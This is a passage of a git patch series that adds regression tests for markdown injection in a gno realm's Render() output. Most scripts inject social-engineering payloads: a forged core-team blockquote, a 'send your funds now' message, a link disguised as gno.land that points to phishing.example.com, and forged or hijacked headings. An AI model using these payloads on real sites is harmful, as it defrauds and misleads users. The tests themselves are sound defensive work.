From e8f7cf5bbda33352c1b5795e57b5358605b2c7a6 Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 10:56:41 -0400 Subject: [PATCH 1/9] =?UTF-8?q?audit(security):=20add=20markdown=20injecti?= =?UTF-8?q?on=20audit=20scripts=20(KNOWN=20VULNERABLE=20=E2=80=94=20gnolan?= =?UTF-8?q?g/gno#5714)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds 4 shell scripts under tests/samourai-crew/security-markdown/ that each deploy a minimal Gno realm, inject a malicious markdown payload, and verify that Render() returns the content unsanitised (exit 1 = KNOWN VULNERABLE on current master, regression tests for when gnolang/gno#5714 lands). Vectors: title leak into body, raw HTML injection, link URL hijacking, blockquote context confusion. --- tests/samourai-crew/Dockerfile | 11 ++- tests/samourai-crew/Makefile | 2 +- tests/samourai-crew/run_tests.sh | 11 +++ .../security-markdown/audit_md_blockquote.sh | 93 +++++++++++++++++++ .../security-markdown/audit_md_html_inject.sh | 88 ++++++++++++++++++ .../security-markdown/audit_md_link_hijack.sh | 89 ++++++++++++++++++ .../security-markdown/audit_md_title_leak.sh | 89 ++++++++++++++++++ .../samourai-crew/security-markdown/common.sh | 12 +++ 8 files changed, 389 insertions(+), 6 deletions(-) create mode 100755 tests/samourai-crew/security-markdown/audit_md_blockquote.sh create mode 100755 tests/samourai-crew/security-markdown/audit_md_html_inject.sh create mode 100755 tests/samourai-crew/security-markdown/audit_md_link_hijack.sh create mode 100755 tests/samourai-crew/security-markdown/audit_md_title_leak.sh create mode 100755 tests/samourai-crew/security-markdown/common.sh diff --git a/tests/samourai-crew/Dockerfile b/tests/samourai-crew/Dockerfile index 85ec74c..9bb346e 100644 --- a/tests/samourai-crew/Dockerfile +++ b/tests/samourai-crew/Dockerfile @@ -4,14 +4,15 @@ RUN apk add --no-cache bash jq WORKDIR /tests -COPY audit/ audit/ -COPY e2e/ e2e/ -COPY stress/ stress/ -COPY realms/ realms/ +COPY audit/ audit/ +COPY e2e/ e2e/ +COPY stress/ stress/ +COPY realms/ realms/ +COPY security-markdown/ security-markdown/ COPY run_tests.sh . RUN chmod +x run_tests.sh \ - && find audit e2e stress -name "*.sh" -exec chmod +x {} + + && find audit e2e stress security-markdown -name "*.sh" -exec chmod +x {} + ENV REMOTES=http://127.0.0.1:26657 ENV CHAINID=test diff --git a/tests/samourai-crew/Makefile b/tests/samourai-crew/Makefile index befb2ae..4254c23 100644 --- a/tests/samourai-crew/Makefile +++ b/tests/samourai-crew/Makefile @@ -17,7 +17,7 @@ MNEMONIC_3 := galaxy fire athlete egg three crane stone borrow thought cover sto ## list-funding-one-shot : print addresses and amounts to fund before one-shot tests list-funding-one-shot: - @echo "$(ADDR_1) 50000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot" + @echo "$(ADDR_1) 100000000ugnot $(ADDR_2) 15000000ugnot $(ADDR_3) 15000000ugnot" ## list-funding-repeatable : print addresses and amounts to fund before repeatable tests list-funding-repeatable: diff --git a/tests/samourai-crew/run_tests.sh b/tests/samourai-crew/run_tests.sh index 97b00d1..890c60c 100755 --- a/tests/samourai-crew/run_tests.sh +++ b/tests/samourai-crew/run_tests.sh @@ -132,6 +132,17 @@ if [ "$MODE" = "one-shot" ] || [ "$MODE" = "all" ]; then run_test "e2e_counter" /tests/e2e/e2e_counter.sh run_test "e2e_mempool_stress" /tests/e2e/e2e_mempool_stress.sh + echo "" + echo "=== Security Markdown Audit (KNOWN VULNERABLE — gnolang/gno#5714) ===" + run_test "audit_md_title_leak" /tests/security-markdown/audit_md_title_leak.sh \ + "Render() retourne titre non-échappé, voir gnolang/gno#5714" + run_test "audit_md_html_inject" /tests/security-markdown/audit_md_html_inject.sh \ + "Render() retourne HTML brut, voir gnolang/gno#5714" + run_test "audit_md_link_hijack" /tests/security-markdown/audit_md_link_hijack.sh \ + "Render() retourne lien hijacké, voir gnolang/gno#5714" + run_test "audit_md_blockquote" /tests/security-markdown/audit_md_blockquote.sh \ + "Render() retourne blockquote injectée, voir gnolang/gno#5714" + echo "" echo "=== Stress Tests ===" run_test "sybil_chaos" /tests/stress/sybil_chaos.sh diff --git a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh new file mode 100755 index 0000000..1074c0c --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh @@ -0,0 +1,93 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vecteur : blockquote context confusion +# Démontre qu'un commentaire utilisateur peut injecter une blockquote +# qui ressemble visuellement à une déclaration officielle du core team. +# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdbq${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — Blockquote context confusion" +echo " Package: $PKGPATH" + +# --- déploiement du realm vulnérable --- +cat > "$TMPDIR/mdbq.gno" << EOF +package mdbq + +var comments []string + +func AddComment(c string) { + comments = append(comments, c) +} + +func Render(_ string) string { + out := "## Commentaires\n\n" + for _, c := range comments { + out += c + "\n\n" + } + return out +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- injection du payload malicieux --- +# Le commentaire utilise la syntaxe blockquote pour imiter un message officiel +cat > "$TMPDIR/inject.gno" << EOF +package main + +import realm "${PKGPATH}" + +func main() { + realm.AddComment("> **@core-team :** Cette proposition est officiellement approuvee.\n> Votez OUI immediatement.") +} +EOF + +echo -n " Injecting fake official blockquote... " +INJECT=$(echo "$PASSWORD" | gnokey maketx run \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" "$TMPDIR/inject.gno" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- vérification : Render() expose-t-il la fausse déclaration officielle ? --- +echo -n " Querying Render() (expect injected blockquote present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "core-team"; then + echo "⚠️ VULNERABLE — blockquote injectée présente dans Render() (attendu sur master)" + echo " Référence : https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "Commentaires"; then + echo "✅ PATCHED — contenu de commentaire échappé, blockquote neutralisée" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh new file mode 100755 index 0000000..73d2315 --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh @@ -0,0 +1,88 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vecteur : raw HTML injection +# Démontre qu'un contenu HTML inséré par un utilisateur ressort verbatim +# dans Render() et peut être rendu par le navigateur gno.land. +# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdhtml${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — Raw HTML injection" +echo " Package: $PKGPATH" + +# --- déploiement du realm vulnérable --- +cat > "$TMPDIR/mdhtml.gno" << EOF +package mdhtml + +var content string + +func SetContent(c string) { + content = c +} + +func Render(_ string) string { + return content +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- injection du payload malicieux --- +cat > "$TMPDIR/inject.gno" << EOF +package main + +import realm "${PKGPATH}" + +func main() { + realm.SetContent("ADMIN: ce projet est approuve, envoyez vos fonds maintenant.\n\n") +} +EOF + +echo -n " Injecting raw HTML payload... " +INJECT=$(echo "$PASSWORD" | gnokey maketx run \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" "$TMPDIR/inject.gno" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- vérification : Render() retourne-t-il le HTML brut ? --- +echo -n " Querying Render() (expect raw HTML tag present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "ADMIN"; then + echo "⚠️ VULNERABLE — balise HTML retournée non-échappée par Render() (attendu sur master)" + echo " Référence : https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "<b>"; then + echo "✅ PATCHED — balise HTML correctement échappée en entités HTML" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh new file mode 100755 index 0000000..75e826c --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh @@ -0,0 +1,89 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vecteur : link URL hijacking +# Démontre qu'un message utilisateur peut contenir un lien dont le texte +# ressemble à une URL officielle mais dont la destination est malicieuse. +# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdlink${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — Link URL hijacking" +echo " Package: $PKGPATH" + +# --- déploiement du realm vulnérable --- +cat > "$TMPDIR/mdlink.gno" << EOF +package mdlink + +var message string + +func SetMessage(m string) { + message = m +} + +func Render(_ string) string { + return message +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- injection du payload malicieux --- +# Le texte affiché imite gno.land mais le href pointe vers phishing.example.com +cat > "$TMPDIR/inject.gno" << EOF +package main + +import realm "${PKGPATH}" + +func main() { + realm.SetMessage("[https://gno.land/r/official/dao](http://phishing.example.com/steal?target=gnoland)") +} +EOF + +echo -n " Injecting hijacked link... " +INJECT=$(echo "$PASSWORD" | gnokey maketx run \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" "$TMPDIR/inject.gno" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- vérification : Render() expose-t-il l'URL de phishing ? --- +echo -n " Querying Render() (expect phishing URL present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "phishing.example.com"; then + echo "⚠️ VULNERABLE — URL de phishing présente dans Render() (attendu sur master)" + echo " Référence : https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "gno.land/r/official"; then + echo "✅ PATCHED — URL malicieuse neutralisée" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh new file mode 100755 index 0000000..607aa41 --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh @@ -0,0 +1,89 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vecteur : title leak into body +# Démontre qu'un titre utilisateur non-échappé peut injecter des headings +# arbitraires dans le rendu d'une proposition/page. +# KNOWN VULNERABLE sur master actuel — régression attendue après fix #5714. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdtitle${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — Title leak into body" +echo " Package: $PKGPATH" + +# --- déploiement du realm vulnérable --- +cat > "$TMPDIR/mdtitle.gno" << EOF +package mdtitle + +var title string +var body = "Ceci est le corps officiel de la proposition." + +func SetTitle(t string) { + title = t +} + +func Render(_ string) string { + return "# " + title + "\n\n" + body +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- injection du payload malicieux --- +cat > "$TMPDIR/inject.gno" << EOF +package main + +import realm "${PKGPATH}" + +func main() { + realm.SetTitle("Proposition legitime\n\n# INJECTED: Faux corps de proposition\n\nContenu malicieux injecte par l'attaquant.") +} +EOF + +echo -n " Injecting malicious title... " +INJECT=$(echo "$PASSWORD" | gnokey maketx run \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" "$TMPDIR/inject.gno" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- vérification : Render() retourne-t-il le heading injecté ? --- +echo -n " Querying Render() (expect INJECTED heading present)... " +RESULT=$(gnokey query "vm/qeval" \ + -data "${PKGPATH}.Render(\"\")" \ + -remote "$RPC" 2>&1) + +if echo "$RESULT" | grep -q "INJECTED"; then + echo "⚠️ VULNERABLE — heading injecté présent dans Render() (attendu sur master)" + echo " Référence : https://github.com/gnolang/gno/pull/5714" + exit 1 +elif echo "$RESULT" | grep -q "Proposition legitime"; then + echo "✅ PATCHED — titre échappé, aucun heading injecté" +else + echo "⚠️ UNKNOWN OUTPUT"; echo "$RESULT"; exit 1 +fi diff --git a/tests/samourai-crew/security-markdown/common.sh b/tests/samourai-crew/security-markdown/common.sh new file mode 100755 index 0000000..e8f2003 --- /dev/null +++ b/tests/samourai-crew/security-markdown/common.sh @@ -0,0 +1,12 @@ +#!/bin/sh +# Shared config for security-markdown audit scripts. +# KEY, PASSWORD, KEY_ADDR and GNOKEY_HOME are exported by run_tests.sh +# before any script is called. Defaults below are for standalone use only. + +RPC="${REMOTE:-${REMOTES%%,*}}" +RPC="${RPC:-http://127.0.0.1:26657}" +CHAINID="${CHAINID:-test}" +KEY="${KEY:-runner}" +PASSWORD="${PASSWORD:-runner1234}" +GNOKEY_HOME="${GNOKEY_HOME:-/tmp/gnokey}" +KEY_ADDR="${KEY_ADDR:-}" From f73bb09eb2cd2266c967fc5618e955407a499c07 Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 11:58:52 -0400 Subject: [PATCH 2/9] fix(security-markdown): use maketx call instead of maketx run for injection (interrealm #5669 compat) --- .../security-markdown/audit_md_blockquote.sh | 17 +++++------------ .../security-markdown/audit_md_html_inject.sh | 17 +++++------------ .../security-markdown/audit_md_link_hijack.sh | 17 +++++------------ .../security-markdown/audit_md_title_leak.sh | 17 +++++------------ 4 files changed, 20 insertions(+), 48 deletions(-) diff --git a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh index 1074c0c..35c2c55 100755 --- a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh +++ b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh @@ -55,23 +55,16 @@ fi # --- injection du payload malicieux --- # Le commentaire utilise la syntaxe blockquote pour imiter un message officiel -cat > "$TMPDIR/inject.gno" << EOF -package main - -import realm "${PKGPATH}" - -func main() { - realm.AddComment("> **@core-team :** Cette proposition est officiellement approuvee.\n> Votez OUI immediatement.") -} -EOF - echo -n " Injecting fake official blockquote... " -INJECT=$(echo "$PASSWORD" | gnokey maketx run \ +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "AddComment" \ + -args "> **@core-team :** Cette proposition est officiellement approuvee. Votez OUI immediatement." \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ -home "$GNOKEY_HOME" \ - "$KEY" "$TMPDIR/inject.gno" 2>&1) + "$KEY" 2>&1) if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh index 73d2315..798685e 100755 --- a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh +++ b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh @@ -50,23 +50,16 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else fi # --- injection du payload malicieux --- -cat > "$TMPDIR/inject.gno" << EOF -package main - -import realm "${PKGPATH}" - -func main() { - realm.SetContent("ADMIN: ce projet est approuve, envoyez vos fonds maintenant.\n\n") -} -EOF - echo -n " Injecting raw HTML payload... " -INJECT=$(echo "$PASSWORD" | gnokey maketx run \ +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "SetContent" \ + -args "ADMIN: ce projet est approuve, envoyez vos fonds maintenant." \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ -home "$GNOKEY_HOME" \ - "$KEY" "$TMPDIR/inject.gno" 2>&1) + "$KEY" 2>&1) if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh index 75e826c..e41cb13 100755 --- a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh +++ b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh @@ -51,23 +51,16 @@ fi # --- injection du payload malicieux --- # Le texte affiché imite gno.land mais le href pointe vers phishing.example.com -cat > "$TMPDIR/inject.gno" << EOF -package main - -import realm "${PKGPATH}" - -func main() { - realm.SetMessage("[https://gno.land/r/official/dao](http://phishing.example.com/steal?target=gnoland)") -} -EOF - echo -n " Injecting hijacked link... " -INJECT=$(echo "$PASSWORD" | gnokey maketx run \ +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "SetMessage" \ + -args "[https://gno.land/r/official/dao](http://phishing.example.com/steal?target=gnoland)" \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ -home "$GNOKEY_HOME" \ - "$KEY" "$TMPDIR/inject.gno" 2>&1) + "$KEY" 2>&1) if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi diff --git a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh index 607aa41..2bad76e 100755 --- a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh +++ b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh @@ -51,23 +51,16 @@ if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else fi # --- injection du payload malicieux --- -cat > "$TMPDIR/inject.gno" << EOF -package main - -import realm "${PKGPATH}" - -func main() { - realm.SetTitle("Proposition legitime\n\n# INJECTED: Faux corps de proposition\n\nContenu malicieux injecte par l'attaquant.") -} -EOF - echo -n " Injecting malicious title... " -INJECT=$(echo "$PASSWORD" | gnokey maketx run \ +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "SetTitle" \ + -args "Proposition legitime\n\n# INJECTED: Faux corps de proposition\n\nContenu malicieux injecte par l'attaquant." \ -gas-fee 1000000ugnot -gas-wanted 5000000 \ -broadcast -chainid "$CHAINID" -remote "$RPC" \ -insecure-password-stdin \ -home "$GNOKEY_HOME" \ - "$KEY" "$TMPDIR/inject.gno" 2>&1) + "$KEY" 2>&1) if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else echo "FAILED"; echo "$INJECT"; exit 1 fi From 8091e5c09628f1c079e1f8cd34434b908a8d555a Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 12:00:07 -0400 Subject: [PATCH 3/9] chore: add .gitignore to exclude .env files --- .gitignore | 1 + 1 file changed, 1 insertion(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4c49bd7 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.env From 1efba47952ffe787f220331afb76413960dd1d8e Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 12:07:00 -0400 Subject: [PATCH 4/9] fix(security-markdown): mark realm functions crossing (cur realm) for MsgCall compat (#5669) --- tests/samourai-crew/security-markdown/audit_md_blockquote.sh | 2 +- tests/samourai-crew/security-markdown/audit_md_html_inject.sh | 2 +- tests/samourai-crew/security-markdown/audit_md_link_hijack.sh | 2 +- tests/samourai-crew/security-markdown/audit_md_title_leak.sh | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh index 35c2c55..5faa203 100755 --- a/tests/samourai-crew/security-markdown/audit_md_blockquote.sh +++ b/tests/samourai-crew/security-markdown/audit_md_blockquote.sh @@ -23,7 +23,7 @@ package mdbq var comments []string -func AddComment(c string) { +func AddComment(cur realm, c string) { comments = append(comments, c) } diff --git a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh index 798685e..2b2d58e 100755 --- a/tests/samourai-crew/security-markdown/audit_md_html_inject.sh +++ b/tests/samourai-crew/security-markdown/audit_md_html_inject.sh @@ -23,7 +23,7 @@ package mdhtml var content string -func SetContent(c string) { +func SetContent(cur realm, c string) { content = c } diff --git a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh index e41cb13..b886c2a 100755 --- a/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh +++ b/tests/samourai-crew/security-markdown/audit_md_link_hijack.sh @@ -23,7 +23,7 @@ package mdlink var message string -func SetMessage(m string) { +func SetMessage(cur realm, m string) { message = m } diff --git a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh index 2bad76e..727d6be 100755 --- a/tests/samourai-crew/security-markdown/audit_md_title_leak.sh +++ b/tests/samourai-crew/security-markdown/audit_md_title_leak.sh @@ -24,7 +24,7 @@ package mdtitle var title string var body = "Ceci est le corps officiel de la proposition." -func SetTitle(t string) { +func SetTitle(cur realm, t string) { title = t } From 4bbfa9085e27ccf25280c5fc31804664389ccd21 Mon Sep 17 00:00:00 2001 From: louis Date: Tue, 26 May 2026 14:31:39 -0400 Subject: [PATCH 5/9] audit(security-markdown): add two new vectors, translate to English, fix title injection - Add audit_md_anchor_hijack.sh: fragment ID hijacking via duplicate heading - Add audit_md_image_tracking.sh: external tracking pixel injection - Translate all scripts and realm code from French to English - Fix audit_md_title_leak.sh: use printf to pass real newlines to gnokey args (shell double-quotes kept \n literal, causing false positive detection) - All scripts target gnolang/gno#5714 --- .../audit_md_anchor_hijack.sh | 93 +++++++++++++++++++ .../security-markdown/audit_md_blockquote.sh | 28 +++--- .../security-markdown/audit_md_html_inject.sh | 22 ++--- .../audit_md_image_tracking.sh | 87 +++++++++++++++++ .../security-markdown/audit_md_link_hijack.sh | 22 ++--- .../security-markdown/audit_md_title_leak.sh | 27 +++--- 6 files changed, 230 insertions(+), 49 deletions(-) create mode 100755 tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh create mode 100755 tests/samourai-crew/security-markdown/audit_md_image_tracking.sh diff --git a/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh b/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh new file mode 100755 index 0000000..2aa093b --- /dev/null +++ b/tests/samourai-crew/security-markdown/audit_md_anchor_hijack.sh @@ -0,0 +1,93 @@ +#!/bin/sh +# Targets: gnolang/gno#5714 — markdown injection in Render() +# Vector: fragment ID hijacking +# Gnoweb auto-generates id= attributes from heading text. An attacker who can +# inject a heading whose text matches a known section earlier in the page takes +# ownership of that anchor — URLs like .../realm#official-announcement scroll +# to attacker-controlled content instead of the legitimate section. +# KNOWN VULNERABLE on current master — expected regression until #5714 is fixed. + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +# shellcheck source=common.sh +. "$SCRIPT_DIR/common.sh" + +SUFFIX=$(date +%s) +PKGPATH="gno.land/r/${KEY_ADDR}/audit/mdanchor${SUFFIX}" +TMPDIR=$(mktemp -d) +trap 'rm -rf "$TMPDIR"' EXIT + +echo "⚠️ gnolang/gno#5714 — Fragment ID hijacking" +echo " Package: $PKGPATH" + +# --- deploy vulnerable realm --- +# The realm has a known anchor section (## Official Announcement) and a +# user-controlled comment prepended before it. +cat > "$TMPDIR/mdanchor.gno" << EOF +package mdanchor + +var comment string + +func SetComment(cur realm, c string) { + comment = c +} + +func Render(_ string) string { + official := "## Official Announcement\n\nThis proposal has been reviewed and is pending vote." + if comment == "" { + return official + } + return comment + "\n\n" + official +} +EOF + +cat > "$TMPDIR/gnomod.toml" << EOF +module = "${PKGPATH}" +gno = "0.9" +EOF + +echo -n " Deploying realm... " +DEPLOY=$(echo "$PASSWORD" | gnokey maketx addpkg \ + -pkgpath "$PKGPATH" -pkgdir "$TMPDIR" \ + -gas-fee 1000000ugnot -gas-wanted 10000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$DEPLOY" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$DEPLOY"; exit 1 +fi + +# --- inject payload: duplicate heading placed before the legitimate one --- +# Gnoweb assigns id="official-announcement" to the first occurrence. +# Fragment URLs pointing to #official-announcement now reach attacker content. +PAYLOAD=$(printf '## Official Announcement\n\nATTACKER: This proposal is REJECTED. Do not vote.') +echo -n " Injecting duplicate anchor heading... " +INJECT=$(echo "$PASSWORD" | gnokey maketx call \ + -pkgpath "$PKGPATH" \ + -func "SetComment" \ + -args "$PAYLOAD" \ + -gas-fee 1000000ugnot -gas-wanted 5000000 \ + -broadcast -chainid "$CHAINID" -remote "$RPC" \ + -insecure-password-stdin \ + -home "$GNOKEY_HOME" \ + "$KEY" 2>&1) +if echo "$INJECT" | grep -q "OK!"; then echo "OK"; else + echo "FAILED"; echo "$INJECT"; exit 1 +fi + +# --- verify: does 